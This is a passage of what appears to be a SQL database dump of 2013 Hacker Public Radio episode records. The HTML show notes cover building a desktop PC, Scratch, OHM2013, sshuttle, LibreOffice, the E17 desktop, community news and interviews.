eSATA, S/PDIF, HDMI, Ethernet,\r\n	etc.)</P>\r\n	<LI><P>At this point, you search should\r\n	be fairly narrow – compare prices, read reviews and compare\r\n	ratings. \r\n	</P>\r\n	<LI><P>Decide on motherboard vendor and\r\n	model</P>\r\n</UL>\r\n<OL START=3>\r\n	<LI><H5>Memory</H5>\r\n</OL>\r\n<UL>\r\n	<LI><P>Based on motherboard, find\r\n	matching memory type.  DDR2 and DDR3 are the common types.  \r\n	</P>\r\n	<P>There are 5 memory properties:  \r\n	</P>\r\n<OL>\r\n	<LI><P>DDR revision (currently they\r\n	include DDR, DDR2, and DDR3)</P>\r\n	<LI><P>Chip Classification (like\r\n	DDR2-1333) where the number (1333) is the maximum clock speed (in\r\n	MHz) the memory chips support, which is halved for real clock speed\r\n	(666.5MHz).</P>\r\n	<LI><P>Module Classification (like\r\n	PC3-10666) where the number (10666) is the maximum transfer rate (in\r\n	MB/s).  This is typically 8 times the first memory chip\r\n	classification clock speed, so DDR400 transfers data at 3,200 MB/s. \r\n		</P>\r\n	<LI><P>Timing (like 7-8-8-24) measures\r\n	the time the memory chip delays doing something internally.</P>\r\n	<LI><P>Voltage (like 1.5v)  \r\n	</P>\r\n</OL>\r\n</UL>\r\n<UL>\r\n	<LI><P>Note the memory properties are\r\n	maximums.  Actual rates will be lower based on the motherboard. \r\n	Match the first 3 properties – DDR revision, chip classification\r\n	and module classification.  DDR revision must match.  If you can\'t\r\n	get an exact match on Chip and Module classifications, make sure the\r\n	memory module is faster (higher numbers) than the motherboard.</P>\r\n	<LI><P>If you plan to over-clock, you\'ll\r\n	need to pay attention to all 5 properties, but I\'m not going to\r\n	cover over-clocking.</P>\r\n	<LI><P>For more assurance, buy memory\r\n	that\'s on the motherboard maker\'s certified list.</P>\r\n	<LI><P>Recommend buying memory in higher\r\n	capacities per module for future expansion.  If you have 4 memory\r\n	module slots which can accept 1G, 2G, and 4G modules, opt for the 4G\r\n	modules.</P>\r\n	<LI><P>Recommend that all memory modules\r\n	be the same size, optimally the same brand/model if possible.</P>\r\n</UL>\r\n<OL START=4>\r\n	<LI><H5>Video Card</H5>\r\n</OL>\r\n<UL>\r\n	<LI><P>If using on-board video\r\n	controller, you\'ve already decided this.</P>\r\n	<LI><P>If using discrete video card,\r\n	narrow search to available motherboard slots.  \r\n	</P>\r\n	<P>For example, if you only have one\r\n	PCI-e 16x slot, narrow search to video cards that can use that slot.\r\n	 Don\'t worry about AMD\'s CrossfireX or NVIDIA\'s SLI card linking\r\n	because you don\'t have two slots. \r\n	</P>\r\n	<LI><P>If you buy a high-end discrete\r\n	card or cards, be sure to check the video card vendor\'s recommended\r\n	power supply wattage and required power connector.  These cards\r\n	often require a separate power connector from the power supply.</P>\r\n</UL>\r\n<OL START=5>\r\n	<LI><H5>Internal Storage </H5>\r\n</OL>\r\n<UL>\r\n	<LI><P>By internal\r\n	storage, I mean storage devices that will be housed inside the\r\n	computer case.</P>\r\n	<LI><P>Most\r\n	motherboards come with an on-board storage controller, typically\r\n	SATA 2.  Some have an IDE controller for legacy support.  Server\r\n	motherboards may have some version of SCSI or SAS (serial attached\r\n	storage) controllers.</P>\r\n	<LI><P>These\r\n	on-board controllers are configured from within the BIOS or UEFI. \r\n	Depending on the motherboard\'s south bridge chipset, it may support\r\n	a few RAID levels, usually levels 0 (striping) and 1 (mirroring).</P>\r\n	<LI><P>Storage\r\n	devices come in different physical sizes which require different\r\n	sized bays - 5.25 inch, 3.5 inch, 2.5 inch, and 1.8 inch.  These\r\n	refer the size of the storage medium, not the actual bay size.  The\r\n	5.25 inch bays come in half-height versions, which are the standard\r\n	for CD and DVD drives in todays\' computers.  The 3.5 inch bays are\r\n	usually used for floppy or Zip drives...more legacy equipment.  See\r\n	Wikipedia.</P>\r\n	<LI><P>Storage\r\n	devices can vary significantly in storage capacity.  Often, the\r\n	larger the storage capacity, the higher the latency in storing and\r\n	retrieving data.  Cache on-board the disk can mitigate this latency,\r\n	so larger cache sizes are preferred particularly for large capacity\r\n	drives.  Cache sizes currently include 8MB, 16MB, 32MB and 64MB.</P>\r\n	<LI><P>With rotating\r\n	magnetic disks, the speed at which they rotate can also mitigate\r\n	this latency.  Rotation speeds include 5400 rpm, 7200 rpm, and 10000\r\n	rpm and 15000 rpm with each step in speed requiring more power and\r\n	giving off more heat.</P>\r\n	<LI><P>If you need\r\n	more than 2 or 3 drives, you\'ll need to ensure your case has\r\n	adequate physical space for them and that your power supply is sized\r\n	appropriately.</P>\r\n</UL>\r\n<P><br/>\r\n</P>\r\n<OL START=6>\r\n	<LI><H5>Case &amp; Power Supply</H5>\r\n</OL>\r\n<UL>\r\n	<LI><P>Some cases are bundled with a\r\n	power supply, which might work great for average to low-end system\r\n	configurations.</P>\r\n	<LI><P>Based on motherboard form factor\r\n	and internal storage requirements, pick out a computer case.  \r\n	</P>\r\n	<LI><P>Case features to consider:</P>\r\n\r\n<OL>\r\n	<LI><P>Power supply location is always\r\n	in rear, but can be on top or bottom of a tower configuration.  If\r\n	the computer will sit on the floor, having the power supply on the\r\n	bottom might turn it into a dust bunny haven.</P>\r\n	<LI><P>Number and type of storage drive\r\n	bays.</P>\r\n	<LI><P>Removable and/or washable dust\r\n	filters.</P>\r\n	<LI><P>Lighting kits</P>\r\n	<LI><P>Front panel ports and static\r\n	suppression</P>\r\n</OL>\r\n</UL>\r\n<UL>\r\n	<LI><P>The number and size of fans is\r\n	limited by the case design.  Typically a case will come with one\r\n	rear fan, but most offer front, side, or top vents where fans can be\r\n	mounted. Fan sizes range from 25mm to 250mm, with popular sizes at\r\n	80mm, 92mm, 120mm and 140mm.</P>\r\n	<LI><P>Make sure power supply is sized\r\n	correctly:</P>\r\n\r\n<OL>\r\n	<LI><P>Physical dimensions fits in case\r\n	(beware “slim” power supplies for smaller form factor cases).</P>\r\n	<LI><P>Wattage output, which is driven by\r\n	video cards and number of internal storage devices.</P>\r\n	<LI><P>Connectors required by the\r\n	motherboard, CPU fan, case fans, video card and internal storage\r\n	devices.</P>\r\n</OL>\r\n</UL>\r\n<UL>\r\n	<LI><P>Without a discrete video card and\r\n	2-3 internal storage devices, 300-400 Watts power supplies are\r\n	typical.  If getting a discrete video card, check on its power\r\n	requirements.</P>\r\n	<LI><P>Power supplies also have\r\n	efficiency ratings under the &quot;80 PLUS&quot; certifications, which\r\n	span from vanilla 80 PLUS, Bronze, Silver, Gold and Platinum.  See\r\n	Wikipedia for more info.</P>\r\n</UL>\r\n',247,0,0,'CC-BY-SA','build, desktop, computer',0,2147,1),
(1259,'2013-05-30','Cyanide Cupcake and Klaatu ',1220,'Using Scratch in teaching','<p>Cyanide Cupcake talks to Klaatu about the Scratch programming language.</p>\r\n<h2>Links</h2>\r\n<ul>\r\n<li><a href=\"https://scratch.mit.edu/\">https://scratch.mit.edu/</a> \r\n</li>\r\n<li><a href=\"https://scratched.media.mit.edu/\">https://scratched.media.mit.edu/</a>\r\n</li>\r\n<li><a href=\"https://slackermedia.info/slackbuilds\">https://slackermedia.info/slackbuilds</a>\r\n</li>\r\n</ul>',78,0,0,'CC-BY-SA','programming,scratch,video games,mit',0,1807,1),
(1260,'2013-05-31','Interview with GMC about OHM 2013',741,'Nido Media interviews GMC about OHM 2013','<p>\r\nOHM2013 is a five day outdoor international camping festival for hackers and makers, and those with an inquisitive mind. On 31st July 2013, 3000 of those minds will descend upon on an unassuming patch of land, at the Geestmerambacht festival grounds, 30km north of Amsterdam. We are interrupted by Nick Farr, who will tell us a bit about Hackers on a Plane, who organise a trip from North America to Europe to participate in this event.\r\n</p>\r\n\r\n<ul>\r\n<li><a href=\"https://ohm2013.org/\">https://ohm2013.org/</a>\r\n</li>\r\n<li><a href=\"https://www.hackersonaplane.info/\">https://www.hackersonaplane.info/</a>\r\n<p></p>\r\n</li>\r\n</ul>',214,78,1,'CC-BY-SA','OHM2013',0,1783,1),
(1261,'2013-06-03','HPR Community News for May 2013',2551,'HPR Community News for May 2013','<h2>New hosts</h2>\r\n<p>\r\nWelcome to our new host: \r\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=245\">Deb Nicholson</a>,\r\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=246\">Beeza</a>, and\r\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=247\">Toby Meehan</a>.\r\n</p>\r\n\r\n<table>\r\n<thead><tr>\r\n<th >id\r\n</th><th>title\r\n</th><th\">host\r\n</th></tr>\r\n</thead>\r\n<tbody>\r\n\r\n            \r\n<tr><td>1236</td>\r\n<td>Lament For httpd</td>\r\n<td>deepgeek</td>\r\n</tr>\r\n            \r\n<tr><td>1237</td>\r\n<td>Cory Doctorow tribute to Aaron Swartz</td>\r\n<td>Various Creative Commons Works</td>\r\n</tr>\r\n            \r\n<tr><td>1238</td>\r\n<td>Word processors are overrated</td>\r\n<td>johanv</td>\r\n</tr>\r\n            \r\n<tr><td>1239</td>\r\n<td>HPR Saturday Sessions: What is hacking?</td>\r\n<td>Nido Media</td>\r\n</tr>\r\n            \r\n<tr><td>1240</td>\r\n<td>Doomsday Rule</td>\r\n<td>Charles in NJ</td>\r\n</tr>\r\n            \r\n<tr><td>1241</td>\r\n<td>Community News for April 2013</td>\r\n<td>HPR Admins</td>\r\n</tr>\r\n            \r\n<tr><td>1242</td>\r\n<td>What\'s Wrong With Free, Anyway?</td>\r\n<td>Ahuka</td>\r\n</tr>\r\n            \r\n<tr><td>1243</td>\r\n<td>Wargames Anniversary</td>\r\n<td>AukonDK</td>\r\n</tr>\r\n            \r\n<tr><td>1244</td>\r\n<td>LiTS 029: ab - apache benchmark.</td>\r\n<td>Dann</td>\r\n</tr>\r\n            \r\n<tr><td>1245</td>\r\n<td>TGTM Newscast for 2013-06-05 for by Dann Washko and DeepGeek</td>\r\n<td>Tgtm News Team</td>\r\n</tr>\r\n            \r\n<tr><td>1246</td>\r\n<td>David Whitman On Location at LinuxFest Northwest</td>\r\n<td>David Whitman</td>\r\n</tr>\r\n            \r\n<tr><td>1247</td>\r\n<td>Recording Terrestrial Radio with bash scipts and cron jobs</td>\r\n<td>Jon Kulp</td>\r\n</tr>\r\n            \r\n<tr><td>1248</td>\r\n<td>Frank Bell Achieves Enlightenment Adventures with E17 Pt One</td>\r\n<td>Frank Bell</td>\r\n</tr>\r\n            \r\n<tr><td>1249</td>\r\n<td>Software Patents: Who\'s Behind the Curtain?</td>\r\n<td>Deb Nicholson</td>\r\n</tr>\r\n            \r\n<tr><td>1250</td>\r\n<td>Interview With YTCracker</td>\r\n<td>pokey</td>\r\n</tr>\r\n            \r\n<tr><td>1251</td>\r\n<td>TGTM Newscast for 2013-05-19 DeepGeek</td>\r\n<td>Tgtm News Team</td>\r\n</tr>\r\n            \r\n<tr><td>1252</td>\r\n<td>The Long Road To Linux</td>\r\n<td>Beeza</td>\r\n</tr>\r\n            \r\n<tr><td>1253</td>\r\n<td>Linux in the Shell Ep 30 - vmstat</td>\r\n<td>Dann</td>\r\n</tr>\r\n            \r\n<tr><td>1254</td>\r\n<td>X2go Remote Linux server/client</td>\r\n<td>JWP</td>\r\n</tr>\r\n            \r\n<tr><td>1255</td>\r\n<td>A life in a software project</td>\r\n<td>garjola</td>\r\n</tr>\r\n            \r\n<tr><td>1256</td>\r\n<td>TGTM Newscast for 2013-05-20 Bobobex</td>\r\n<td>Tgtm News Team</td>\r\n</tr>\r\n            \r\n<tr><td>1257</td>\r\n<td>Getting things done.</td>\r\n<td>Knightwise</td>\r\n</tr>\r\n            \r\n<tr><td>1258</td>\r\n<td>How to Build a Desktop Computer</td>\r\n<td>Toby Meehan</td>\r\n</tr>\r\n            \r\n<tr><td>1259</td>\r\n<td>Cyanide Cupcake and Klaatu </td>\r\n<td>klaatu</td>\r\n</tr>\r\n            \r\n<tr><td>1260</td>\r\n<td>Interview with GMC about OHM 2013.</td>\r\n<td>Nido Media</td>\r\n</tr>\r\n            \r\n</tbody>\r\n</table>\r\n\r\n\r\n<h2>New show posting algorithm</h2>\r\n<p>\r\nFollowing a post from klaatu noting that he was waiting 42 days to get a show released, he suggest simplifying the process to a first in first out solution with some options. Ken replied that the entire scheduling should be first in first out, while giving hosts the option to pick a day in the future that was free. <br />\r\nJoin the mail list for more discussions on this topic.\r\n</p>\r\n',159,47,1,'CC-BY-SA','Community News',0,1709,1),
(1262,'2013-06-04','LiTS 031: who',1042,'Show who is logged on with the <em>who</em> command','Episode 31 of Linux in the Shell discuses the use of the who command. The who command does more than just identify who is logged into a system. Who is coupled with init and will produce statistical information about the system since the last boot. Make sure you visit the entry on <a href=\"https://www.linuxintheshell.com/2013/06/04/episode-031-who/\">https://www.linuxintheshell.com/2013/06/04/episode-031-who/</a> to get the full write up of the who command and for further information in the bibliography on topics discussed.\n',7,67,1,'CC-BY-SA','who',0,2264,1),
(1263,'2013-06-05','3G Tunnels (Sshuttle)',2209,'3G connectivity and Sshuttle','<p>\r\nTimttmy and NYbill have a chat about 3G connectivity and Sshuttle. Sshuttle is\r\napp that blends VPN and SSH proxy like features. They also touch on AUR packaging and \r\nthe recent Linode hacks. Then start to reminisce about OGGcamps past and the good\'ol days of\r\nthe Linux Outlaw forums. And what do most geeks do when they hang out? They finish up \r\ntalking about their computer gear. \r\n</p>\r\n<p>\r\n3g tethering \r\n</p>\r\n\r\n<ul>\r\n<li><a href=\"https://wiki.openwrt.org/doc/howto/usb.tethering\">https://wiki.openwrt.org/doc/howto/usb.tethering</a>\r\n</li>\r\n</ul>\r\n\r\n<p>\r\nsshuttle\r\n</p>\r\n\r\n<ul>\r\n<li><a href=\"https://github.com/apenwarr/sshuttle#readme\">https://github.com/apenwarr/sshuttle#readme</a>\r\n</li>\r\n<li><a href=\"https://talk.maemo.org/showthread.php?t=68805\">https://talk.maemo.org/showthread.php?t=68805</a>\r\n</li>\r\n<li><a href=\"https://manpages.ubuntu.com/manpages/natty/man8/sshuttle.8.html\">https://manpages.ubuntu.com/manpages/natty/man8/sshuttle.8.html</a>\r\n</li>\r\n</ul>\r\n\r\n<p>\r\nTimttmy <a href=\"https://micro-timttmy.dyndns.org/micro/\">https://micro-timttmy.dyndns.org/micro/</a>\r\n</p>\r\n<p>\r\nNYbill  <a href=\"https://status.gunmonkeynet.net/\">https://status.gunmonkeynet.net/</a>\r\n</p>',235,0,1,'CC-BY-SA','3G,Sshuttle',0,1765,1),
(1264,'2013-06-06','Open Accessibility: Interview with Steve Lee',3253,'Ken Catches up with Steve Lee just before he gave his talk on Open Accessability.','<p>\r\nIn today\'s show Ken finally gets around to releasing shows recorded at OggCamp11 \r\n</p>\r\n<p>\r\n<i>OggCamp 11 was a two-day unconference where technology enthusiasts came together to exchange knowledge on a wide range of topics from Linux and open source software to building home automation systems. It was held August 13 and 14 at Farnham Maltings in Surrey in the UK.</i>\r\n</p>\r\n\r\n<h2>Open Accessibility</h2>\r\n\r\n<p>\r\nKen Catches up with Steve Lee just before he gave his talk on Open Accessability. After the talk we get to hear his presentation.\r\n</p>\r\n\r\n<h2>Links</h2>\r\n\r\n<ul>\r\n<li><a href=\"https://oggcamp.org/\">https://oggcamp.org/</a>\r\n</li>\r\n<li><a href=\"https://lanyrd.com/profile/stevealee/\">https://lanyrd.com/profile/stevealee/</a>\r\n</li>\r\n<li><a href=\"https://twitter.com/SteveALee\">https://twitter.com/SteveALee</a>\r\n</li>\r\n<li><a href=\"https://opendirective.com/\">https://opendirective.com/</a>\r\n</li>\r\n<li><a href=\"https://blip.tv/episode/5492887\">https://blip.tv/episode/5492887</a>\r\n<p></p>\r\n</li>\r\n</ul>\r\n',30,79,1,'CC-BY-SA','oggcamp',0,1656,1),
(1265,'2013-06-07','Mitigating SQL Injection And Other Message Protocol Attacks Through Compiler Signatures',297,'Compiler Signatures for mitigating attacks of various sorts','<p>\r\nSigflup talks about mitigating sql injection and other message protocol attacks through compiler signatures\r\n</p>\r\n<p>\r\nWEBSITE: <a href=\"https://www.theadesilva.com/sqlsig\">https://www.theadesilva.com/sqlsig</a>\r\n</p>\r\n<p>\r\nSOURCE CODE: <a href=\"https://www.theadesilva.com/sqlsig.tar.gz\">https://www.theadesilva.com/sqlsig.tar.gz</a>\r\n</p>',115,0,1,'CC-BY-SA','SQL,mitigation,attack,hacking,compiler,protocol,languages',0,1755,1),
(1266,'2013-06-10','TGTM Newscast for 2013-06-06  by Dann Washko and DeepGeek',837,'A newscast from Talk Geek to Me','<p>Here is a news review:</p>\r\n<ul><li><a href=\"https://cair.com/press-center/press-releases/11920-lawsuit-claims-u-s-muslim-tortured-at-behest-of-fbi-state-dept.html\">Lawsuit Claims U.S. Muslim Tortured at Behest of FBI, State Dept.</a>\r\n</li>\r\n<li><a href=\"https://www.techdirt.com/articles/20130531/02593523270/bradley-manning-accused-aiding-classified-enemy.shtml\">Bradley Manning Accused Of Aiding [Classified Enemy]</a>\r\n</li>\r\n<li><a href=\"https://www.thestand.org/2013/05/righteous-campaigns-for-fast-food-employees-all-workers-in-tacoma/\">Campaigns begin for fast-food employees, all Tacoma workers</a>\r\n\r\n</li>\r\n<li><a href=\"https://maggiemcneill.wordpress.com/2013/05/27/deafening-silence/\">Deafening Silence (abuse of sex workers in China)</a>\r\n</li>\r\n<li><a href=\"https://sacsis.org.za/site/article/1665\">Despite Horrific Repression, the U.S. Should Stay Out of Syria</a>\r\n</li>\r\n<li><a href=\"https://www.democracynow.org/2013/5/29/headlines#5293\">Computer Hacker Jeremy Hammond Pleads Guilty in Stratfor Case </a>\r\n</li>\r\n<li><a href=\"https://torrentfreak.com/pirate-bay-founder-denies-hacking-charges-in-court-130528/\">Pirate Bay Founder Denies Hacking Charges in Court</a>\r\n</li>\r\n<li><a href=\"https://torrentfreak.com/fbi-must-return-kim-dotcoms-illegally-seized-property-130531/\">FBI Must Return Kim Dotcom’s Illegally Seized Property</a>\r\n</li>\r\n<li><a href=\"https://www.eff.org/press/releases/eff-launches-full-court-press-bust-podcasting-patent\">EFF Launches Full-Court Press To Bust Podcasting Patent </a>\r\n\r\n</li>\r\n<li><a href=\"https://www.democracynow.org/2013/5/30/headlines#53011\">NSA Hacking Unit Targets Computers Worldwide </a>\r\n</li></ul>\r\n<p>Other Headlines:</p>\r\n<ul><li><a href=\"https://rhrealitycheck.org/article/2013/05/31/is-the-life-and-health-of-a-young-rural-woman-of-any-value-in-el-salvador/\">Is the Life and Health of a Young, Rural Woman of Any Value in El Salvador?</a>\r\n</li>\r\n<li><a href=\"https://whowhatwhy.com/2013/05/20/official-story-has-odd-wrinkles-a-pack-of-questions-about-the-boston-bombing-backpacks/\">Official Story has Odd Wrinkles: A Pack of Questions about the Boston Bombing Backpacks</a>\r\n</li>\r\n<li><a href=\"https://www.huffingtonpost.com/2013/05/29/walmart-protest-movement_n_3354735.html\">Walmart Protest Movement Grows As Workers Strike Again </a>\r\n</li>\r\n<li><a href=\"https://www.havanatimes.org/?p=93982\">New Film Reveals Critical Havana Housing Conditions </a>\r\n\r\n</li>\r\n<li><a href=\"https://www.rawstory.com/rs/2013/06/02/berlin-company-specialises-in-autistic-it-experts/\">Berlin company specializes in autistic IT experts</a>\r\n</li></ul>\r\n<p>Staffed and produced by the TGTM news team, Editorial Selection by DeepGeek, views of the story\r\nauthors reflect their own opinions and not necessarily those of TGTM\r\nnews.\r\n</p><p>\r\nNews from \"techdirt.com,\" \"thestand.org,\" and&nbsp; \"maggiemcneill.wordpress.com\" used\r\nunder&nbsp;arranged\r\npermission.</p>\r\n<p>News from \"cair.com\" is a press release.<br />\r\n</p>\r\n<p>News\r\nfrom \"torrentfreak.com,\" \"sacis.org.za/fpif.org,\" and \"eff.org\" used\r\nunder\r\npermission of the Creative Commons\r\nby-attribution&nbsp;license.</p>\r\n\r\n<p>News from \"democracynow.org\" used under permission of the Creative Commons\r\nby-attribution non-commercial no-derivatives license.<br />\r\n</p>\r\n<p>News Sources retain their respective copyrights.</p>\r\n<h2>Links</h2>\r\n<ul>\r\n<li><a href=\"https://cair.com/press-center/press-releases/11920-lawsuit-claims-u-s-muslim-tortured-at-behest-of-fbi-state-dept.html\">https://cair.com/press-center/press-releases/11920-lawsuit-claims-u-s-muslim-tortured-at-behest-of-fbi-state-dept.html</a></li>\r\n<li><a href=\"https://www.techdirt.com/articles/20130531/02593523270/bradley-manning-accused-aiding-classified-enemy.shtml\">https://www.techdirt.com/articles/20130531/02593523270/bradley-manning-accused-aiding-classified-enemy.shtml</a></li>\r\n<li><a href=\"https://www.thestand.org/2013/05/righteous-campaigns-for-fast-food-employees-all-workers-in-tacoma/\">https://www.thestand.org/2013/05/righteous-campaigns-for-fast-food-employees-all-workers-in-tacoma/</a></li>\r\n<li><a href=\"https://maggiemcneill.wordpress.com/2013/05/27/deafening-silence/\">https://maggiemcneill.wordpress.com/2013/05/27/deafening-silence/</a></li>\r\n<li><a href=\"https://sacsis.org.za/site/article/1665\">https://sacsis.org.za/site/article/1665</a></li>\r\n<li><a href=\"https://www.democracynow.org/2013/5/29/headlines#5293\">https://www.democracynow.org/2013/5/29/headlines#5293</a></li>\r\n<li><a href=\"https://torrentfreak.com/pirate-bay-founder-denies-hacking-charges-in-court-130528/\">https://torrentfreak.com/pirate-bay-founder-denies-hacking-charges-in-court-130528/</a></li>\r\n<li><a href=\"https://torrentfreak.com/fbi-must-return-kim-dotcoms-illegally-seized-property-130531/\">https://torrentfreak.com/fbi-must-return-kim-dotcoms-illegally-seized-property-130531/</a></li>\r\n<li><a href=\"https://www.eff.org/press/releases/eff-launches-full-court-press-bust-podcasting-patent\">https://www.eff.org/press/releases/eff-launches-full-court-press-bust-podcasting-patent</a></li>\r\n<li><a href=\"https://www.democracynow.org/2013/5/30/headlines#53011\">https://www.democracynow.org/2013/5/30/headlines#53011</a></li>\r\n<li><a href=\"https://rhrealitycheck.org/article/2013/05/31/is-the-life-and-health-of-a-young-rural-woman-of-any-value-in-el-salvador/\">https://rhrealitycheck.org/article/2013/05/31/is-the-life-and-health-of-a-young-rural-woman-of-any-value-in-el-salvador/</a></li>\r\n<li><a href=\"https://whowhatwhy.com/2013/05/20/official-story-has-odd-wrinkles-a-pack-of-questions-about-the-boston-bombing-backpacks/\">https://whowhatwhy.com/2013/05/20/official-story-has-odd-wrinkles-a-pack-of-questions-about-the-boston-bombing-backpacks/</a></li>\r\n<li><a href=\"https://www.huffingtonpost.com/2013/05/29/walmart-protest-movement_n_3354735.html\">https://www.huffingtonpost.com/2013/05/29/walmart-protest-movement_n_3354735.html</a></li>\r\n<li><a href=\"https://www.havanatimes.org/?p=93982\">https://www.havanatimes.org/?p=93982</a></li>\r\n<li><a href=\"https://www.rawstory.com/rs/2013/06/02/berlin-company-specialises-in-autistic-it-experts/\">https://www.rawstory.com/rs/2013/06/02/berlin-company-specialises-in-autistic-it-experts/</a></li>\r\n</ul>',237,65,1,'CC-BY-SA','newscast,TGTM',0,1655,1),
(1267,'2013-06-11','LibreOffice 04 Writer Style Properties 1',1522,'Style properties in LibreOffice Writer, part 1','<p>\r\nSome useful sites\r\n</p>\r\n\r\n<ul>\r\n<li><a href=\"https://www.libreoffice.org/get-help/documentation/\">https://www.libreoffice.org/get-help/documentation/</a>\r\n</li>\r\n<li><a href=\"https://wiki.documentfoundation.org/Documentation/Publications\">https://wiki.documentfoundation.org/Documentation/Publications</a>\r\n</li>\r\n<li><a href=\"https://gofree.com/Tutorials/\">https://gofree.com/Tutorials/</a>\r\n</li>\r\n<li><a href=\"https://en.libreofficeforum.org/\">https://en.libreofficeforum.org/</a>\r\n</li>\r\n</ul>\r\n\r\n<p>\r\nMy web site is at <a href=\"https://www.ahuka.com/\">https://www.ahuka.com/</a>\r\n</p>\r\n<p>\r\nRemember to support free software!\r\n</p>',198,70,1,'CC-BY-SA','LibreOffice, Writer',0,1823,1),
(1268,'2013-06-12','What\'s in my bag',707,'David Whitman describes the contents of his work backpack','<p>\r\nA short episode by me: \"David Whitman\" about things I carry in my backpack which is my go to work bag. Normally there would be food in there but it is Sunday morning and thankfully I have left no food in the bag. Food ideally goes to work and is consumed but there have been those times.........the forgotten orange etc.\r\n</p>\r\n',209,23,1,'CC-BY-SA','Toys,Junk,Computers,Tablet,Netbook,\"what\'s in my bag\"',0,1813,1),
(1269,'2013-06-13','Frank Bell Achieves Enlightenment Adventures with E17 Pt Two',2175,'About Enlightenment E17, part 2','<p>\r\nFrank concludes his two-part series on the E17 (Enlightenment 0.17.x) Desktop Environment with a look at some nuts-and-bolts configuration items.\r\n</p>\r\n<p>\r\nHe covers several configuration settings that illustrate how Enlightenment\'s various  configuration dialogs work, including the\r\n</p>\r\n\r\n<ul>\r\n<li>Shelf (Panel) and Gadgets (Widgets) in the Shelf.\r\n</li>\r\n<li>Settings Panel, and, within the Settings Panel,\r\n</li>\r\n<li>Key and Mouse Bindings.\r\n</li>\r\n<li>Favorite Applications.\r\n</li>\r\n<li>Startup Applications.\r\n</li>\r\n<li>Themes and Wallpapers.\r\n</li>\r\n<li>The Titlebar Menu, including \"Window\" settings, such as Maximize, Half-Maximize, Vertical Maximize; and \"Remember\" settings, such as Position and \"Sticky\" state.\r\n</li>\r\n</ul>\r\n\r\n<p>\r\nLinks:\r\n</p>\r\n<p>\r\nICCCM (Inter-Client Communications Conventions Manual):\r\n</p>\r\n\r\n<ul>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Inter-Client_Communication_Conventions_Manual\">https://en.wikipedia.org/wiki/Inter-Client_Communication_Conventions_Manual</a>\r\n</li>\r\n</ul>\r\n\r\n<p>\r\nNetWM (Extended Window Manager Hits):\r\n</p>\r\n\r\n<ul>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Extended_Window_Manager_Hints\">https://en.wikipedia.org/wiki/Extended_Window_Manager_Hints</a>\r\n</li>\r\n</ul>\r\n\r\n<p>\r\nFor a list of links to E17 resources and to listen to the first episode, see Part One:\r\n<a href=\"https://hackerpublicradio.org/eps.php?id=1248\">https://hackerpublicradio.org/eps.php?id=1248</a>\r\n</p>',195,0,1,'CC-BY-SA','\"Enlightenment 0.17.x\",E17',0,1824,1),
(1270,'2013-06-14','Fathers Day Special: Jon Kulp interviews his Dad',2551,'Jon Kulp interviews his Dad for Fathers Day','<p>While my parents are visiting from Tennessee I take advantage of the opportunity to talk to my dad for awhile about his early days\r\nof computing. He has a PhD in statistics and has been using computers since the 1960s. We talk about his programming in\r\nFortran and Cobol, about building <a href=\"https://en.wikipedia.org/wiki/Heathkit\" target=\"_blank\">Heathkit</a> projects, about his duties as a VP\r\nfor Information Technology at a small private university in Nashville, and about his more recent programming in Windows. </p>\r\n',238,78,1,'CC-BY-SA','\"FORTRAN II\",\"punched cards\",Heathkit,COBOL,modem,SPSS,\"Visual BASIC\",Mono,Android',0,2026,1),
(1271,'2013-06-17','Out of style or retro chique.',670,'Knightwise finds old tech at a garage sale and ponders about the pace of change','<p>\r\nJust how many devices do you still have lying around that have been discarded by the pace of progress. What if you would use them today ? Knightwise takes you with him on a garage sale bargain hunt and asks the question : Is it out of style or retro chique.\r\n</p>',111,0,1,'CC-BY-SA','\"garage sale\",\"old technology\"',0,2033,1),
(1272,'2013-06-18','Open Badges?',1225,'Open Badges communicate skills and achievements through visual symbols of accomplishments','<p>Cyanide Cupcake and Klaatu ponder the new Open Badge spec, and\r\nwhether badges are important, useful, or...a government conspiracy!</p>\r\n<h2>Links</h2>\r\n<p>\r\n<a href=\"https://openbadges.org/\" target=\"_blank\">openbadges.org</a>\r\n</p>\r\n',78,0,0,'CC-BY-SA','meritocracy,badges,education',0,2104,1),
(1273,'2013-06-19','LiTS 032: cat',566,'Concatenate files and print on the standard output with the <em>cat</em> command','<p>\r\nEpisode 32 of Linux in the Shell talks about the use of the cat command. Learn the different switches to cat and how through the use of redirection cat becomes more than just a tool to view the contents of a file. For the full write-up of the command and the corresponding video examples check out <a href=\"https://www.linuxintheshell.com/2013/06/18/episode-032-cat/\">https://www.linuxintheshell.com/2013/06/18/episode-032-cat/</a>\r\n</p>\r\n',7,67,1,'CC-BY-SA','concatenate,cat',0,2850,1),
(1274,'2013-06-20','Nathan Dumont on Open Source Hardware',2365,'Ken interviews Nathan Dumont at OggCamp11','<p>In today\'s show Ken finally gets around to releasing shows recorded at OggCamp11</p>\r\n\r\n<p>\r\n<i>OggCamp 11 was a two-day unconference where technology enthusiasts came together to exchange knowledge on a wide range of topics from Linux and open source software to building home automation systems. It was held August 13 and 14 <strong>2011</strong> at Farnham Maltings in Surrey in the UK.</i> \r\n</p>\r\n\r\n<h2>Open Source Hardware</h2>\r\n<p>\r\nNathan and Ken have a chat in the beer garden after OggCamp.\r\n</p>\r\n<h2>Links</h2>\r\n\r\n<ul>\r\n<li><a href=\"https://lanyrd.com/profile/hairymnstr/\">https://lanyrd.com/profile/hairymnstr/</a>\r\n</li>\r\n<li><a href=\"https://twitter.com/hairymnstr\">https://twitter.com/hairymnstr</a>\r\n</li>\r\n<li><a href=\"https://blip.tv/episode/5493542\">https://blip.tv/episode/5493542</a>\r\n</li>\r\n<li><a href=\"https://www.nathandumont.com\">https://www.nathandumont.com</a>\r\n</li>\r\n</ul>\r\n',30,62,1,'CC-BY-SA','\"Open Source hardware\",Arduino,ChipKIT',0,2229,1),
